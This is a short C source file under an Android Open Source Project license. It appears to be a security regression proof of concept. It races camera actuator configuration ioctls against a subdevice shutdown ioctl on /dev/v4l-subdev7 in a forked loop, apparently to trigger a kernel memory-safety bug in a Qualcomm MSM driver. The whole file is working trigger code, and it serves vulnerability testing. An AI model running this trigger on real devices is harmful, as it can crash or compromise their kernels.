/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>

#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
#define MSM_SD_SHUTDOWN 0xc00856dd

int fd;


int main() {
  long i;
  int pid;
  pthread_t th[6];
  int argn[50] = {0};

  fd = open("/dev/v4l-subdev7", 0x0ul );


  argn[0] = 7;
  syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);

  pid = fork();
  if(!pid){
    argn[0] = 1;
    while(1){
      usleep(10);
      syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
    }
  }
  i = 0;
  while(1){
    i++;
    argn[0] = 7;
    syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);

    usleep(100);

    argn[0] = 0;
    syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);

  }

  close(fd);

  return 0;
}